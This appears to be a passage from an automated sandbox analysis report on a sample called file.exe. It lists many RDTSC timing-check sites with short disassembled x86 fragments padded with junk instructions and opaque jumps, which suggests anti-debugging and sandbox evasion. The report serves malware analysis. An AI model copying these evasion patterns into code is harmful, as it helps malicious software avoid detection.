Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EED65 second address: 3EED72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FDE34C00CD6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F4233 second address: 3F4238 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F43FB second address: 3F4400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F4400 second address: 3F4406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F8166 second address: 3F8178 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE34C00CDCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F8178 second address: 3F8182 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FDE34EAC866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BEE53 second address: 3BEE59 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BEE59 second address: 3BEEDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE34EAC870h 0x00000008 jo 00007FDE34EAC866h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FDE34EAC868h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov edx, esi 0x00000030 mov ecx, dword ptr [ebp+122D1E22h] 0x00000036 lea eax, dword ptr [ebp+1247EC09h] 0x0000003c jmp 00007FDE34EAC878h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FDE34EAC875h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BEEDA second address: 39D329 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FDE34C00CE9h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e call dword ptr [ebp+122D1E48h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDE34C00CDDh 0x0000001d jmp 00007FDE34C00CDFh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BEFEA second address: 3BEFEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BEFEF second address: 3BF001 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE34C00CDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BF001 second address: 3BF005 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BF116 second address: 3BF11B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BF4CA second address: 3BF4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BF4D0 second address: 213D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDE34C00CDAh 0x0000000a popad 0x0000000b nop 0x0000000c movzx edi, di 0x0000000f push dword ptr [ebp+122D079Dh] 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FDE34C00CD8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov edi, 6E828172h 0x00000034 call dword ptr [ebp+122D1E63h] 0x0000003a pushad 0x0000003b cmc 0x0000003c xor eax, eax 0x0000003e je 00007FDE34C00CDCh 0x00000044 mov edx, dword ptr [esp+28h] 0x00000048 clc 0x00000049 mov dword ptr [ebp+122D2DA3h], eax 0x0000004f cmc 0x00000050 mov esi, 0000003Ch 0x00000055 cld 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a clc 0x0000005b lodsw 0x0000005d cld 0x0000005e add eax, dword ptr [esp+24h] 0x00000062 clc 0x00000063 mov ebx, dword ptr [esp+24h] 0x00000067 pushad 0x00000068 jmp 00007FDE34C00CE7h 0x0000006d sub al, FFFFFF81h 0x00000070 popad 0x00000071 nop 0x00000072 jng 00007FDE34C00CE4h 0x00000078 pushad 0x00000079 jp 00007FDE34C00CD6h 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BF69F second address: 3BF6D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC876h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC879h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BF6D5 second address: 3BF6DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FDE34C00CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BF6DF second address: 3BF701 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c adc dx, 4311h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BF701 second address: 3BF70B instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BF70B second address: 3BF729 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC870h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BFEA1 second address: 3BFEB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FDE34C00CDCh 0x0000000e jo 00007FDE34C00CD6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C0046 second address: 3C004B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C004B second address: 3C0091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDE34C00CDDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jns 00007FDE34C00CDEh 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007FDE34C00CE4h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C0091 second address: 3C0095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C01D5 second address: 3C01DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3C01DB second address: 39DD5C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add ecx, 02B5DD1Ah 0x00000011 call dword ptr [ebp+124485EBh] 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007FDE34EAC868h 0x0000001f jmp 00007FDE34EAC86Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F84A1 second address: 3F84AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F84AB second address: 3F84C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC874h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F84C3 second address: 3F84E6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDE34C00CD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007FDE34C00CEBh 0x00000012 jmp 00007FDE34C00CDFh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F8650 second address: 3F8654 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F8654 second address: 3F865A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F865A second address: 3F8670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE34EAC86Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F87CF second address: 3F87D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F87D5 second address: 3F87DB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F8AB8 second address: 3F8AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDE34C00CDCh 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F8AD3 second address: 3F8AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDE34EAC866h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F8AE2 second address: 3F8AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F8AE8 second address: 3F8AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4001A4 second address: 4001AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4002D7 second address: 4002DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40057C second address: 400596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FDE34C00CE4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 402BA9 second address: 402BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jnc 00007FDE34EAC866h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 402BB7 second address: 402BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40773A second address: 407750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007FDE34EAC870h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 407750 second address: 40777A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FDE34C00CD6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007FDE34C00CE0h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40777A second address: 407780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 407780 second address: 40778C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40778C second address: 407790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 407790 second address: 40779C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDE34C00CD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 406A11 second address: 406A34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC873h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jnp 00007FDE34EAC866h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 406A34 second address: 406A4C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE34C00CDAh 0x0000000d je 00007FDE34C00CD6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 406A4C second address: 406A65 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE34EAC86Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 406B93 second address: 406B9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FDE34C00CD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 406B9F second address: 406BA4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 406BA4 second address: 406BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34C00CDFh 0x00000009 pop ebx 0x0000000a jmp 00007FDE34C00CDAh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push esi 0x00000012 pushad 0x00000013 jg 00007FDE34C00CD6h 0x00000019 push edx 0x0000001a pop edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jnl 00007FDE34C00CD6h 0x00000026 jc 00007FDE34C00CD6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 407012 second address: 407017 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 407181 second address: 407185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40DC68 second address: 40DC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40C60B second address: 40C612 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40C612 second address: 40C631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FDE34EAC880h 0x0000000f jc 00007FDE34EAC86Ch 0x00000015 jno 00007FDE34EAC866h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40C631 second address: 40C635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40CBD0 second address: 40CC02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE34EAC878h 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FDE34EAC86Eh 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40CC02 second address: 40CC0C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE34C00CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40CC0C second address: 40CC1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDE34EAC86Eh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BFB5F second address: 3BFB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3BFB63 second address: 3BFB69 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40CED1 second address: 40CED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40D933 second address: 40D940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDE34EAC866h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 410B89 second address: 410B8E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 41052E second address: 410532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 410532 second address: 410550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE34C00CE8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 410550 second address: 410588 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDE34EAC868h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC875h 0x00000011 jmp 00007FDE34EAC875h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 41082E second address: 410860 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE6h 0x00000007 jmp 00007FDE34C00CE8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 410860 second address: 41088F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE34EAC877h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FDE34EAC86Ch 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 416CE5 second address: 416D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDE34C00CE5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 416E2A second address: 416E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 416E2E second address: 416E4D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE34C00CE9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 416E4D second address: 416E74 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDE34EAC874h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC86Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 416E74 second address: 416E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4173C0 second address: 4173E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDE34EAC866h 0x0000000a popad 0x0000000b jng 00007FDE34EAC878h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4176A4 second address: 4176A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 417F16 second address: 417F46 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE34EAC877h 0x0000000d jmp 00007FDE34EAC871h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 417F46 second address: 417F4C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 418254 second address: 418271 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC879h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 41853A second address: 418544 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 418544 second address: 41854A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 41854A second address: 418550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 418550 second address: 418554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 418842 second address: 418847 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 418847 second address: 418850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 418850 second address: 418854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 420055 second address: 420059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4201D9 second address: 4201E5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
